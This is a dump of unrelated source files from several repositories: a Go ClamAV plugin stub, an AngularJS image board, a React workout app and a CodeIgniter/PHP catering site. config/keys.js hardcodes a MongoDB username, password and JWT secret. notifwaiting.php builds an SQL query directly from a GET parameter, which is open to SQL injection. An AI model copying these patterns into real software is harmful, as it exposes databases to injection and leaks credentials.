plugin.Serve(&plugin.ServeConfig{
HandshakeConfig: plugins.HandshakeConfig,
Plugins: pluginMap,
GRPCServer: plugin.DefaultGRPCServer,
})
}<file_sep>/go.mod
module github.com/worlvlhole/clamav-plugin
require (
github.com/Unknwon/goconfig v0.0.0-20181105214110-56bd8ab18619 // indirect
github.com/aws/aws-sdk-go v1.15.74 // indirect
github.com/google/go-querystring v1.0.0 // indirect
github.com/gopherjs/gopherjs v0.0.0-20181103185306-d547d1d9531e // indirect
github.com/hashicorp/go-plugin v0.0.0-20181030172320-54b6ff97d818
github.com/jlaffaye/ftp v0.0.0-20181101112434-47f21d10f0ee // indirect
github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af // indirect
github.com/ncw/rclone v1.43.1
github.com/ncw/swift v1.0.42 // indirect
github.com/pkg/sftp v1.8.3 // indirect
github.com/rfjakob/eme v0.0.0-20171028163933-2222dbd4ba46 // indirect
github.com/sirupsen/logrus v1.2.0
github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d // indirect
github.com/smartystreets/goconvey v0.0.0-20181108003508-044398e4856c // indirect
github.com/spf13/viper v1.2.1
github.com/worlvlhole/maladapt v0.0.0-20181113194227-f25dc0bd2fa8
github.com/yunify/qingstor-sdk-go v2.2.15+incompatible // indirect
golang.org/x/net v0.0.0-20181114220301-adae6a3d119a // indirect
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c // indirect
google.golang.org/api v0.0.0-20181113174939-c5e41677a12e // indirect
)
| 818a117151b9bf64b80c3df1b9199bfd02f1d9af | [
"Go Module",
"Go"
] | 2 | Go | worlvlhole/clamav-plugin | 8a5f2a64a1cce12ba7c1642832da65ada5745ed2 | 6b741fb0246a352b3345af4715d6abb2cddbd807 |
refs/heads/master | <file_sep>'use strict';
/**
* @ngdoc function
* @name anglautaApp.controller:MainCtrl
* @description
* # MainCtrl
* Controller of the anglautaApp
*/
var app = angular.module('anglautaApp', []);
app.controller('MainCtrl', function ($scope, $http, $filter) {
$scope.ketju = {};
$scope.msg = {};
$http.get('http://anglauta.herokuapp.com/ketjus.json').success( function(data, status, headers, config) {
console.log(data);
$scope.ketjus = data;
});
$scope.createKetju = function() {
$http.post('http://anglauta.herokuapp.com/ketjus.json', $scope.ketju).success( function(data, status, headers, config) {
$scope.ketjus.push(data);
$scope.createMsg(data.id);
});
$scope.ketju = {};
};
$scope.createMsg = function($ketjuid) {
console.log($scope.msg);
$scope.msg.ketju_id = $ketjuid;
$http.post('http://anglauta.herokuapp.com/messages.json', $scope.msg).success( function(data, status, headers, config) {
var ketju = $filter('filter')($scope.ketjus, {id: $ketjuid}, true);
if (ketju.length) {
ketju[0].messages.push(data);
}
});
$scope.msg = {};
}
});
<file_sep>anglauta
========
Image-based bulletin board quite like 4chan or Ylilauta. Users can create posts and comment on posts created by other users.
http://corvus.kapsi.fi/anglauta
| 4c0a543859cc9f7afb0756128b4d21466abfaffb | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | kazka/anglauta | 4dcf8a0fc7de959aff49d366f4c8c004192ee7a7 | fb133f32feb2f20ac9d22e8916932e935b7e5483 |
refs/heads/master | <repo_name>danielpimen/Let-s_Get_Physical-<file_sep>/client/src/components/pages/UserInput.js
import React, {Component} from 'react';
import {Link} from 'react-router-dom';
import axios from 'axios';
import classnames from 'classnames';
import {Redirect} from 'react-router';
class UserInput extends Component {
constructor() {
super();
this.state = {
name: '',
email: '',
password: '',
password2: '',
errors: false,
};
this.onSubmit = this.onSubmit.bind(this);
}
onChange(e) {
this.setState({[e.target.name]: e.target.value});
}
onSubmit(e) {
e.preventDefault();
const newUser = {
name: this.state.name,
email: this.state.email,
password: <PASSWORD>,
password2: <PASSWORD>,
};
axios
.post('/users/register', newUser)
.then(res => this.setState({errors: true}))
.catch(err => this.setState({errors: err.response.data}));
}
render() {
const {from} = this.props.location.state || '/';
const {errors} = this.state;
return (
<div>
<nav className="navbar navbar-dark bg-dark">
<div className="container-fluid">
<div className="navbar-header">
<a className="navbar-brand" style={{textAlign: 'center', color: 'white'}}>
<strong>Let's Get Physical!</strong>
</a>
</div>
<ul className="nav navbar-nav navbar-right">
<Link
to="/"
type="button"
className="btn navbar-btn btn-danger"
id="navbar-link"
>
{' '}
Home{' '}
</Link>
<Link
to="/Login"
type="button"
className=" btn navbar-btn btn-danger"
id="navbar-link"
>
{' '}
Login{' '}
</Link>
<Link
to="/UserProfile"
type="button"
className=" btn navbar-btn btn-danger"
id="navbar-link"
>
{' '}
User{' '}
</Link>
</ul>
</div>
</nav>
<h4 style={{textAlign: 'center'}}>
{' '}
Please Enter Name, Password and Email to Create an Account
</h4>
<div className="container">
<form onSubmit={this.onSubmit}>
<div className="row">
<div id="main" className="col-lg-12">
<div className="input-group" style={{width: '100%'}}>
<input
type="text"
className={classnames('form-control', {
'is-invalid': errors.name,
})}
placeholder="Name"
id="name"
name="name"
value={this.state.name}
onChange={this.onChange.bind(this)}
/>
{errors.name && (
<div className="invalid-feedback">{errors.name}</div>
)}
</div>
<br />
<div className="input-group" style={{width: '100%'}}>
<input
type="text"
className={classnames('form-control', {
'is-invalid': errors.email,
})}
placeholder="Email"
id="email"
name="email"
value={this.state.email}
onChange={this.onChange.bind(this)}
/>
{errors.email && (
<div className="invalid-feedback">{errors.email}</div>
)}
</div>
<br />
<div className="input-group" style={{width: '100%'}}>
<input
type="text"
className={classnames('form-control', {
'is-invalid': errors.password,
})}
placeholder="<PASSWORD>"
id="password"
name="password"
value={this.state.password}
onChange={this.onChange.bind(this)}
/>
{errors.password && (
<div className="invalid-feedback">{errors.password}</div>
)}
</div>
<br />
<div className="input-group" style={{width: '100%'}}>
<input
type="text"
className={classnames('form-control', {
'is-invalid': errors.password2,
})}
placeholder="Confirm Password"
id="passwordconfirmation"
name="password2"
value={this.state.password2}
onChange={this.onChange.bind(this)}
/>
{errors.password && (
<div className="invalid-feedback">{errors.password2}</div>
)}
</div>
</div>
</div>
<br />
<button
type="submit"
className="btn btn-danger btn-block"
id="login"
onSubmit={this.onSubmit}
>
Submit
</button>
</form>
{errors && <Redirect to={from || '/login'} />}
</div>
<div className="row">
<div
className="col-lg-12"
style={{
textAlign: 'center',
backgroundColor: '#343a40',
color: 'white',
width: '100%',
position: 'fixed',
left: 0,
bottom: 0,
paddingTop: '25px',
paddingBottom: '25px',
}}
>
Project Awesome © 2018
</div>
</div>
</div>
);
}
}
export default UserInput;
<file_sep>/models/Workout.js
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
//Schema
const WorkOutSchema = new Schema({
name: {
type: String,
required: true,
},
equipment: {
type: [String],
},
muscle: {
type: String,
required: true,
},
description: {
type: String,
},
});
module.exports = WorkOut = mongoose.model('workout45', WorkOutSchema);
<file_sep>/README.md
Let's Get Physical is a fully customizable workout app that allows the user to input the amount of time they would like to work out, body parts the user would like to work out and the equipment the user has available. Workouts will provided that take into account the information the user entered.
https://desolate-inlet-39384.herokuapp.com/
<file_sep>/client/src/components/pages/Login.js
import React, {Component} from 'react';
import {Link} from 'react-router-dom';
import {Redirect} from 'react-router';
import axios from 'axios';
import setAuthToken from './utils/setAuthToken';
import jwt_decode from 'jwt-decode';
class Login extends Component {
constructor() {
super();
this.state = {
email: '',
password: '',
errors: false,
};
this.onSubmit = this.onSubmit.bind(this);
this.onChange = this.onChange.bind(this);
}
onChange(e) {
this.setState({[e.target.name]: e.target.value});
}
onSubmit(e) {
e.preventDefault();
const userData = {
email: this.state.email,
password: <PASSWORD>,
};
console.log(userData);
axios.post('/users/login', userData).then(res => {
const {token} = res.data;
localStorage.setItem('jwtToken', token);
setAuthToken(token);
const decoded = jwt_decode(token);
console.log(decoded);
this.setState({errors: true});
});
}
render() {
const {from} = this.props.location.state || '/';
const {errors} = this.state;
return (
<div>
<div>
<nav className="navbar navbar-dark bg-dark">
<div className="container-fluid">
<div className="navbar-header">
<a className="navbar-brand" style={{textAlign: 'center', color: 'white'}}>
<strong>Let's Get Physical!</strong>
</a>
</div>
<ul className="navbar navbar-right">
<Link
to="/"
type="button"
className="btn navbar-btn btn-danger"
id="navbar-link"
>
{' '}
Home{' '}
</Link>
<Link
to="/login"
type="button"
className=" btn navbar-btn btn-danger"
id="navbar-link"
>
{' '}
Login{' '}
</Link>
<Link
to="/UserProfile"
type="button"
className=" btn navbar-btn btn-danger"
id="navbar-link"
>
{' '}
User{' '}
</Link>
</ul>
</div>
</nav>
</div>
<div className="container">
<div className="row">
<div className="login">
<div className="container">
<div className="row">
<div className="col-md-8 m-auto">
<h1 className="display-4 text-center">Log In</h1>
<p className="lead text-center">
Sign in to see your profile
</p>
<form onSubmit={this.onSubmit}>
<input
placeholder="Email Address"
name="email"
type="email"
value={this.state.email}
onChange={this.onChange}
/>
<input
placeholder="<PASSWORD>"
name="<PASSWORD>"
type="<PASSWORD>"
value={this.state.password}
onChange={this.onChange}
/>
<input
type="submit"
className="btn btn-info btn-block mt-4"
/>
</form>
{errors && <Redirect to={from || '/workoutselector'} />}
</div>
</div>
</div>
</div>
</div>
<div className="row">
<div
className="col-lg-12"
style={{
textAlign: 'center',
backgroundColor: '#343a40',
color: 'white',
width: '100%',
position: 'fixed',
left: 0,
bottom: 0,
paddingTop: '25px',
paddingBottom: '25px',
}}
>
Project Awesome © 2018
</div>
</div>
</div>
</div>
);
}
}
export default Login;
<file_sep>/client/src/components/pages/WorkoutSelector.js
import React, {Component} from 'react';
import axios from 'axios';
import {Redirect} from 'react-router';
import {Link} from 'react-router-dom';
export default class WorkoutSelector extends Component {
constructor() {
super();
this.state = {
time: '',
bodyPart: '',
equipment: '',
errors: {},
};
this.onSubmit = this.onSubmit.bind(this);
}
onChange(e) {
this.setState({[e.target.name]: e.target.value});
}
onSubmit(e) {
e.preventDefault();
const selection = {};
/* axios
.post('/users/register', newUser)
.then(res => this.setState({errors: true}))
.catch(err => this.setState({errors: err.response.data}));
*/
}
render() {
return (
<div>
<nav className="navbar navbar-dark bg-dark">
<div className="container-fluid">
<div className="navbar-header">
<a className="navbar-brand" style={{textAlign: 'center', color:'white'}}>
<strong>Let's Get Physical!</strong>
</a>
</div>
<ul className="nav navbar-nav navbar-right">
<Link
to="/"
type="button"
className=" btn navbar-btn btn-danger"
id="navbar-link"
>
{' '}
Home{' '}
</Link>
<Link
to="/login"
type="button"
className=" btn navbar-btn btn-danger"
id="navbar-link"
>
{' '}
Login{' '}
</Link>
<Link
to="/userprofile"
type="button"
className=" btn navbar-btn btn-danger"
id="navbar-link"
>
{' '}
User{' '}
</Link>
</ul>
</div>
</nav>
<div className="container" style={{textAlign: 'center'}}>
<div className="row">
<div className="btn-group">
<button
type="button"
className="btn btn-default dropdown-toggle btn-lg"
data-toggle="dropdown"
aria-haspopup="true"
aria-expanded="false"
>
Time Available<span className="caret" />
</button>
<ul className="dropdown-menu">
<li>
<a href="#">5 minutes</a>
</li>
<li>
<a href="#">10 minutes</a>
</li>
<li>
<a href="#">15 minutes</a>
</li>
<li>
<a href="#">30 minutes</a>
</li>
<li>
<a href="#">45 minutes</a>
</li>
<li>
<a href="#">1 hour</a>
</li>
</ul>
</div>
</div>
<br />
<div className="row">
<div className="btn-group">
<button
type="button"
className="btn btn-default dropdown-toggle btn-lg"
data-toggle="dropdown"
aria-haspopup="true"
aria-expanded="false"
>
Body Part(s)<span className="caret" />
</button>
<ul className="dropdown-menu">
<li>
<a href="#">Full Body</a>
</li>
<li>
<a href="#">Core</a>
</li>
<li>
<a href="#">Arms</a>
</li>
<li>
<a href="#">Legs</a>
</li>
<li>
<a href="#">Booty</a>
</li>
</ul>
</div>
</div>
<br />
<div className="row">
<div className="btn-group">
<button
type="button"
className="btn btn-default dropdown-toggle btn-lg"
data-toggle="dropdown"
aria-haspopup="true"
aria-expanded="false"
>
Equipment<span className="caret" />
</button>
<ul className="dropdown-menu">
<li>
<a href="#">Shakeweight</a>
</li>
<li>
<a href="#">2 Shakeweights</a>
</li>
<li>
<a href="#">3 Shakeweights</a>
</li>
<li>
<a href="#">4 Shakeweights</a>
</li>
<li>
<a href="#">5 Shakeweights</a>
</li>
<li>
<a href="#">6 Shakeweights</a>
</li>
</ul>
</div>
</div>
</div>
<div className="row">
<div
className="col-lg-12"
style={{
textAlign: 'center',
backgroundColor: '#343a40',
color: 'white',
width: '100%',
position: 'fixed',
left: 0,
bottom: 0,
paddingTop: '25px',
paddingBottom: '25px',
}}
>
Project Awesome © 2018
</div>
</div>
</div>
);
}
}
<file_sep>/client/src/App.js
import React, {Component} from 'react';
import {BrowserRouter as Router, Route} from 'react-router-dom';
import './App.css';
import Home from './components/pages/Home';
import Login from './components/pages/Login';
import UserInput from './components/pages/UserInput';
import UserProfile from './components/pages/UserProfile';
import WorkoutSelector from './components/pages/WorkoutSelector';
import Workouts from './components/pages/Workouts';
const App = () => (
<Router>
<div>
<Route exact path="/" component={Home} />
<Route exact path="/login" component={Login} />
<Route exact path="/userInput" component={UserInput} />
<Route exact path="/userProfile" component={UserProfile} />
<Route exact path="/workoutSelector" component={WorkoutSelector} />
<Route exact path="/workouts" component={Workouts} />
</div>
</Router>
);
export default App;
<file_sep>/client/src/components/pages/Home.js
import React from 'react';
import {Link} from 'react-router-dom';
export const Home = props => (
<div>
<nav className="navbar navbar-dark bg-dark">
<div className="container-fluid">
<div className="navbar-header">
<a className="navbar-brand" style={{textAlign: 'center', color: 'white' }}>
<strong>Let's Get Physical!</strong>
</a>
</div>
<ul className="navbar navbar-right">
<Link
to="/"
type="button"
className="btn btn-danger"
id="navbar-link"
>
{' '}
Home{' '}
</Link>
<Link
to="/login"
type="button"
className=" btn navbar-btn btn-danger"
id="navbar-link"
>
{' '}
Login{' '}
</Link>
<Link
to="/userInput"
type="button"
className=" btn navbar-btn btn-danger"
id="navbar-link"
>
{' '}
Register{' '}
</Link>
</ul>
</div>
</nav>
<div className="container">
<div className="row">
<div id="main" className="col">
<h1 style={{textAlign: 'center'}}>Welcome</h1>
<br />
<p>
Let's Get Physical is a fully customizable workout app that allows
the user to input the amount of time they would like to work out,
body parts the user would like to work out and the equipment the
user has available. Workouts will provided that take into account
the information the user entered.
</p>
</div>
<div className="col">
<img
className="img-responsive"
src="https://images.pexels.com/photos/38630/bodybuilder-weight-training-stress-38630.jpeg?auto=compress&cs=tinysrgb&h=350"
style={{width: '100%'}}
/>
</div>
</div>
</div>
<div className="row">
<div
className="col"
style={{
textAlign: 'center',
backgroundColor: '#343a40',
color: 'white',
width: '100%',
position: 'fixed',
left: 0,
bottom: 0,
paddingTop: '25px',
paddingBottom: '25px',
}}
>
Project Awesome © 2018
</div>
</div>
</div>
);
export default Home;
<file_sep>/config/keys.js
module.exports = {
mongoURI: 'mongodb://daniel:daniel@ds111798.mlab.com:11798/workout',
secretOrKey: 'secret',
};
| 272b944b9325f3df2afc3e07c4927610ab2ea0ed | [
"JavaScript",
"Markdown"
] | 8 | JavaScript | danielpimen/Let-s_Get_Physical- | bc656badfaf7629d4a1d11fbd4565e549287bdbe | 382c090c3cf59e71ae53772f1b10eebb89314af1 |
refs/heads/master | <file_sep>var welcome_container = document.getElementById("welcome_container");
var login_form = document.getElementById("login_form");
var user_register = document.getElementById("user_register");
var user_login = document.getElementById("user_login");
user_login.addEventListener( "click", function()
{
welcome_container.style.display = "none";
login_form.style.display = "none";
});
| 25881f72caf4a172f4ef354b08c92ff0f45e7b7f | [
"JavaScript"
] | 1 | JavaScript | nikhil2882/git-intro | 1b8f267ec9ef33aecae8e60cb79e57b22c09c4fb | 24809754b54b203a18337c8315fb02b867e99cba |
refs/heads/master | <repo_name>prasetiyo28/catering<file_sep>/application/controllers/SuperAdmin.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class SuperAdmin extends CI_Controller {
public function __construct(){
parent::__construct();
$this->load->model('MCatering');
}
public function index()
{
// $data['banner'] = 'true';
$data['content'] = $this->load->view('super/pages/dashboard','',true);
$this->load->view('super/default',$data);
}
public function datamitra()
{
// $data['banner'] = 'true';
$data2['mitra'] = $this->MCatering->getMitraAll();
$data['content'] = $this->load->view('super/pages/data_mitra',$data2,true);
$this->load->view('super/default',$data);
}
public function cetak_laporan(){
$mulai = $this->input->post('mulai');
$sampai = $this->input->post('sampai');
$data2['pesanan'] = $this->MCatering->get_pesanan_all_laporan($mulai,$sampai);
$this->load->view('super/pages/laporan_histori',$data2);
}
public function datapesanan()
{
// $data['banner'] = 'true';
$data2['pesanan'] = $this->MCatering->get_pesanan_all();
$data['content'] = $this->load->view('super/pages/data_pesanan',$data2,true);
$this->load->view('super/default',$data);
}
public function hapus_pelanggan($id)
{
$this->MCatering->hapus_pelanggan($id);
redirect('SuperAdmin/datapelanggan');
}
public function datapelanggan()
{
$data2['pelanggan'] = $this->MCatering->get_pelanggan_all();
$data['content'] = $this->load->view('super/pages/data_pelanggan',$data2,true);
$this->load->view('super/default',$data);
}
public function datapaket()
{
// $data['banner'] = 'true';
$data2['paket'] = $this->MCatering->getPaketAll();
$data['content'] = $this->load->view('super/pages/data_paket',$data2,true);
$this->load->view('super/default',$data);
}
public function datauser()
{
// $data['banner'] = 'true';
$data2['user'] = $this->MCatering->getUserAll();
$data['content'] = $this->load->view('super/pages/data_user',$data2,true);
$this->load->view('super/default',$data);
}
public function dataruang()
{
$data2['kapasitas'] = $this->MCatering->get_kapasitas();
$data2['ruangan'] = $this->MCatering->get_ruangan_all();
$data['content'] = $this->load->view('super/pages/data_ruang',$data2,true);
$this->load->view('super/default',$data);
// echo json_encode($data2);
}
public function detail(){
$id = $_POST['id_paket'];
// $id = 1;
// $table = 'ruang';
$data = $this->MCatering->get_detail_paket($id);
echo '
<table class="table table-striped">
<tr>
<td colspan="3"><img style="text-align: center;" class="img-thumbnail" src="'. base_url().'foto_paket/'. $data->foto.'"></td>
</tr>
<tr>
<td>Nama Paket</td>
<td>:</td>
<td>'.$data->nama_paket.'</td>
</tr>
<td>Nama Mitra</td>
<td>:</td>
<td>'.$data->nama_mitra.'</td>
</tr>
<tr>
<td>Harga</td>
<td>:</td>
<td>Rp.'.$data->harga.'</td>
</tr>
<tr>
<td>Deskripsi</td>
<td>:</td>
<td>'.$data->deskripsi.'</td>
</tr>
<tr>
</table>';
}
public function verifikasi($id){
$table = 'paket';
$param = 'id_paket';
$this->MCatering->verifikasi($table,$id,$param);
redirect('SuperAdmin/datapaket');
}
public function verif_mitra(){
$id = $this->input->post('id');
$table = 'mitra';
$param = 'id_mitra';
$this->MCatering->verifikasi($table,$id,$param);
redirect('SuperAdmin/datamitra');
}
public function hapus_paket(){
$id = $this->input->post('id');
$table = 'paket';
$param = 'id_paket';
$this->MCatering->hapus($table,$id,$param);
redirect('SuperAdmin/datapaket');
}
public function hapus_user(){
$id = $this->input->post('id');
$table = 'user';
$param = 'id_user';
$this->MCatering->hapus($table,$id,$param);
redirect('SuperAdmin/datauser');
}
}
<file_sep>/katon/notifwaiting.php
<?php
require_once 'koneksi.php';
$id = $_GET['id'];
$sql = "SELECT pesan.id_order, pesan.id_mitra, pesan.id_paket, pesan.jml_pesan, pesan.alamat_pesan, pesan.tgl_pesan, pesan.jam_pesan, pesan.tgl_transaksi, pesan.bukti_bayar, pesan.verifikasi, mitra.nama_mitra, mitra.no_telp, mitra.nama_bank, mitra.nomor_rekening, mitra.nama_akun_bank, paket.nama_paket, paket.deskripsi, paket.harga, paket.foto FROM pesan JOIN mitra JOIN paket on pesan.id_paket=paket.id_paket AND pesan.id_mitra=mitra.id_mitra WHERE pesan.id= '$id' AND (pesan.verifikasi='1' OR pesan.verifikasi='0') order by tgl_transaksi desc " ;
$result = array();
$r = mysqli_query($con,$sql);
while ($row = mysqli_fetch_array($r)) {
array_push($result, array(
"id_order" => $row['id_order'],
"id_mitra" => $row['id_mitra'],
"id_paket" => $row['id_paket'],
"jml_pesan" => $row['jml_pesan'],
"alamat_pesan" => $row['alamat_pesan'],
"tgl_pesan" => $row['tgl_pesan'],
"jam_pesan" => $row['jam_pesan'],
"tgl_transaksi" => $row['tgl_transaksi'],
"bukti_bayar" => $row['bukti_bayar'],
"verifikasi" => $row['verifikasi'],
"nama_mitra" => $row['nama_mitra'],
"no_telp" => $row['no_telp'],
"nama_bank" => $row['nama_bank'],
"nomor_rekening" => $row['nomor_rekening'],
"nama_akun_bank" => $row['nama_akun_bank'],
"nama_paket" => $row['nama_paket'],
"deskripsi" => $row['deskripsi'],
"harga" => $row['harga'],
"foto" => $row['foto']
));
}
echo json_encode(array('result' => $result));
mysqli_close($con);
?> <file_sep>/application/views/super/pages/data_user.php
<div class="container-fluid">
<!-- Page Heading -->
<h1 class="h3 mb-2 text-gray-800">Data User</h1>
<!-- DataTales Example -->
<div class="card shadow mb-4">
<div class="card-header py-3">
<h6 class="m-0 font-weight-bold text-primary">Data User
<!-- <a href="#" data-toggle="modal" data-target="#exampleModal" class="btn btn-success"><i class="fa fa-plus"></i> Tambah Ruangan</a> -->
</h6>
</div>
<div class="card-body">
<div class="table-responsive">
<table class="table table-bordered" id="dataTable" width="100%" cellspacing="0">
<thead>
<tr>
<th>#</th>
<th>Nama</th>
<th>Email</th>
<th>No HP</th>
<th>Delete</th>
<!-- <th>Action</th> -->
</tr>
</thead>
<tbody>
<?php $no = 1; foreach ($user as $r) { ?>
<tr>
<td><?php echo $no++; ?></td>
<td><?php echo $r->nama; ?></td>
<td><?php echo $r->email; ?></td>
<td><?php echo $r->no_hp; ?></td>
<td>
<a href="javascript:;"
data-id="<?php echo $r->id_user ?>"
data-toggle="modal" data-target="#hapus-data" class="btn btn-danger" data-toggle="modal" data-target="#hapus-data">Delete</a>
</td>
</tr>
<?php } ?>
</tbody>
</table>
</div>
</div>
</div>
</div>
<!-- /.container-fluid -->
<div class="modal fade" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">Tambah Ruangan</h5>
<a href="#" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</a>
</div>
<div class="modal-body">
<form action='<?php echo base_url() ?>Mitra/save_ruang' method="POST" enctype="multipart/form-data">
<div class="form-group">
<label for="inputText3" class="col-form-label">Nama Ruangan</label>
<input id="inputText3" name="nama" type="text" class="form-control" placeholder="Nama Ruangan...">
</div>
<div class="form-group">
<label for="inputText3" class="col-form-label">Kapasitas</label>
<select class="form-control" name="kapasitas">
<option value="" disabled selected >Pilih Kapasitas</option>
<?php foreach ($kapasitas as $kap) { ?>
<option value="<?php echo $kap->id_kapasitas ?>" ><?php echo $kap->keterangan; ?></option>
<?php } ?>
</select>
</div>
<div class="form-group">
<label for="inputText3" class="col-form-label">Foto</label>
<p>*file yang diterima hanya berekstensi .jpg, .jpeg, .png</p>
<input type="file" accept="image/jpg, image/jpeg, image/png" name="foto">
</div>
<!-- <div class="form-group">
<label for="inputText3" class="col-form-label">Detail Foto</label>
<p>*file yang diterima hanya berekstensi .jpg, .jpeg, .png</p>
<input type="file" accept="image/jpg, image/jpeg, image/png" name="foto">
</div> -->
<div class="form-group">
<label for="inputText3" class="col-form-label">Harga</label>
<input id="inputText3" name="harga" type="number" class="form-control" placeholder="Harga...">
</div>
<div class="modal-footer">
<a href="#" class="btn btn-secondary" data-dismiss="modal">Batal</a>
<input type="submit" value="Simpan" class="btn btn-success">
</div>
</form>
</div>
</div>
</div>
</div>
<script type="text/javascript">
$(document).ready(function(){
$('#DetailRuang').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
//menggunakan fungsi ajax untuk pengambilan data
$.ajax({
type : 'post',
url : '<?php echo base_url() ?>SuperAdmin/detail',
data : 'id_ruang='+ rowid,
success : function(data){
$('.fetched-data').html(data);//menampilkan data ke dalam modal
}
});
});
});
</script>
<div class="modal fade" id="DetailRuang" role="dialog">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h4 class="modal-title">Detail Ruang</h4>
<button type="button" class="close" data-dismiss="modal">×</button>
</div>
<div class="modal-body">
<div class="fetched-data"></div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Keluar</button>
</div>
</div>
</div>
</div>
<div aria-hidden="true" aria-labelledby="myModalLabel" role="dialog" tabindex="-1" id="hapus-data" class="modal fade">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h4 class="modal-title">Delete Data</h4>
<button aria-hidden="true" data-dismiss="modal" class="close" type="button">×</button>
</div>
<form class="form-horizontal" action="<?php echo base_url('SuperAdmin/hapus_user')?>" method="post" enctype="multipart/form-data" role="form">
<div class="modal-body">
<div class="form-group">
<input type="hidden" id="id" name="id">
</div>
<p>Yakin Hapus Data ?</p>
</div>
<div class="modal-footer">
<button class="btn btn-danger" type="submit"> Delete </button>
<button type="button" class="btn btn-warning" data-dismiss="modal"> Batal</button>
</div>
</form>
</div>
</div>
</div>
<!-- END Modal Ubah -->
<script>
$(document).ready(function() {
// Untuk sunting
$('#hapus-data').on('show.bs.modal', function (event) {
var div = $(event.relatedTarget) // Tombol dimana modal di tampilkan
var modal = $(this)
// Isi nilai pada field
modal.find('#id').attr("value",div.data('id'));
});
});
</script><file_sep>/application/views/mitra/pages/dashboard.php
<div class="container-fluid">
<!-- Page Heading -->
<div class="d-sm-flex align-items-center justify-content-between mb-4">
<h1 class="h3 mb-0 text-gray-800">Dashboard</h1>
<a href="#" class="d-none d-sm-inline-block btn btn-sm btn-primary shadow-sm"><i class="fas fa-download fa-sm text-white-50"></i> Generate Report</a>
</div>
<!-- Content Row -->
<div class="row">
<?php if ($this->session->flashdata('alert') == 'berhasil') { ?>
<div class="alert alert-success alert-dismissable">
<i class="fa fa-check"></i>
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
<b>Berhasil !</b> Data Anda Berhasil Disimpan
</div>
<?php }?>
<!-- Content Column -->
<div class="col-lg-12 mb-4">
<!-- Project Card Example -->
<div class="card shadow mb-4">
<div class="card-header py-3">
<h6 class="m-0 font-weight-bold text-primary">Welcome</h6>
</div>
<?php if (empty($mitra)) { ?>
<div class="card-body">
<h4>Silahkan lengkapi data catering anda dengan klik <a href="#" data-toggle="modal" data-target="#exampleModal" class="btn btn-primary">lengkapi data catering</a> untuk dapat menjadi mitra kami </h4>
</div>
<?php }else{ ?>
<div class="card-body">
<h1>Hai <?php echo $this->session->userdata('nama_mitra') ?>, Mitra Catering</h1>
</div>
<?php } ?>
</div>
</div>
</div>
</div>
<div class="modal fade" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">Lengkapi Data Mitra</h5>
<a href="#" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</a>
</div>
<div class="modal-body">
<form action='<?php echo base_url() ?>Mitra/save_mitra' method="POST" enctype="multipart/form-data">
<div class="form-group">
<label for="inputText3" class="col-form-label">Logo Catering</label>
<input required id="inputText3" name="foto" type="file" class="form-control" placeholder="Logo Catering...">
</div>
<div class="form-group">
<label for="inputText3" class="col-form-label">Nama Catering</label>
<input required id="inputText3" name="nama" type="text" class="form-control" placeholder="Nama Catering...">
</div>
<div class="form-group">
<label class="col-form-label">Koordinat</label><br>
<div class="col-sm-6">
<div class="input-group">
<input required id="input-calendar" type="text" name="latitude" class="form-control" placeholder="latitude">
</div>
</div>
<div class="col-sm-6">
<div class="input-group">
<input required id="input-calendar" type="text" name="longitude" class="form-control" placeholder="longitude">
</div>
</div>
<div class="col-sm-12">
<?php echo $map['html'] ?>
</div>
</div>
<div class="form-group">
<label for="inputText3" class="col-form-label">Alamat</label>
<textarea required class="form-control" name="alamat" placeholder="Alamat Catering..."></textarea>
</div>
<div class="form-group">
<label for="inputText3" class="col-form-label">No Telp</label>
<input required id="inputText3" name="nomor" type="text" class="form-control" placeholder="No Telp Catering...">
</div>
<div class="form-group">
<label for="inputText3" class="col-form-label">Nama Pemilik Catering</label>
<input required id="inputText3" name="pemilik" type="text" class="form-control" placeholder="Nama Pemilik Catering...">
</div>
<div class="form-group">
<label for="inputText3" class="col-form-label">Nama Bank</label>
<select required name="bank" class="form-control" onchange='CheckBank(this.value);'>
<option value="">-Pilih Bank-</option>
<option>BCA (Bank Central Asia)</option>
<option>BRI (Bank Rakyat Indonesia)</option>
<option>BNI (BANK Nasional Indonesia)</option>
<option>CIMB</option>
<option>MAYBANK</option>
<option>UOB</option>
<option value="others">Lainnya...</option>
</select>
<input id="bank" name="bank2" type="text" class="form-control" placeholder="Nama Bank" style="display: none;">
<script type="text/javascript">
function CheckBank(val){
var element=document.getElementById('bank');
if(val=='others')
element.style.display='block';
else
element.style.display='none';
}
</script>
</div>
<div class="form-group">
<label for="inputText3" class="col-form-label">Nomor Rekening</label>
<input required id="inputText3" name="rekening" type="text" class="form-control" placeholder="Nomor Rekening Catering...">
</div>
<div class="form-group">
<label for="inputText3" class="col-form-label">Nama Account Bank</label>
<input required id="inputText3" name="nama_rekening" type="text" class="form-control" placeholder="Nama Account Bank...">
</div>
<!-- <div class="form-group">
<label for="inputText3" class="col-form-label">Detail Foto</label>
<p>*file yang diterima hanya berekstensi .jpg, .jpeg, .png</p>
<input type="file" accept="image/jpg, image/jpeg, image/png" name="foto">
</div> -->
<div class="modal-footer">
<a href="#" class="btn btn-secondary" data-dismiss="modal">Batal</a>
<input type="submit" value="Simpan" class="btn btn-primary">
</div>
</form>
</div>
</div>
</div>
</div>
<script type="text/javascript">
function setMapToForm(latitude, longitude)
{
$('input[name="latitude"]').val(latitude);
$('input[name="longitude"]').val(longitude);
}
</script><file_sep>/katon/tampilcatering.php
